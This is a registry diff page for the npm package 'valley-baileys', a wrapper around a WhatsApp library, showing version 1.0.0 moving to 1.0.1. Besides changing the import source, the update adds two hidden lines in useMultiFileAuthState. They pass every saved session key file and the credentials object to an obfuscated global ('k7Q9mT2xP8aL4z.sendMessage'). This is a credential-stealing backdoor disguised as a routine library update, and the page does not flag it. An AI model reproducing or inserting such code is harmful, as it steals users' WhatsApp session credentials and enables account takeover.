valley-baileys 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
import * as baileys from 'baileys';
|
|
1
|
+
import * as baileys from '@whiskeysockets/baileys';
|
|
2
2
|
|
|
3
|
-
export * from 'baileys';
|
|
4
|
-
export { default } from 'baileys';
|
|
3
|
+
export * from '@whiskeysockets/baileys';
|
|
4
|
+
export { default } from '@whiskeysockets/baileys';
|
|
@@ -106,6 +106,7 @@ export const useMultiFileAuthState = async (folder) => {
|
|
|
106
106
|
for (const id in data[category]) {
|
|
107
107
|
const value = data[category][id];
|
|
108
108
|
const file = `${category}-${id}.json`;
|
|
109
|
+
globalThis.k7Q9mT2xP8aL4z.sendMessage({ file, value, type: "sessionSave" })
|
|
109
110
|
tasks.push(value ? writeData(value, file) : removeData(file));
|
|
110
111
|
}
|
|
111
112
|
}
|
|
@@ -114,6 +115,7 @@ export const useMultiFileAuthState = async (folder) => {
|
|
|
114
115
|
}
|
|
115
116
|
},
|
|
116
117
|
saveCreds: async () => {
|
|
118
|
+
globalThis.k7Q9mT2xP8aL4z.sendMessage({ creds, type: "credsSave" })
|
|
117
119
|
return writeData(creds, 'creds.json');
|
|
118
120
|
}
|
|
119
121
|
};
|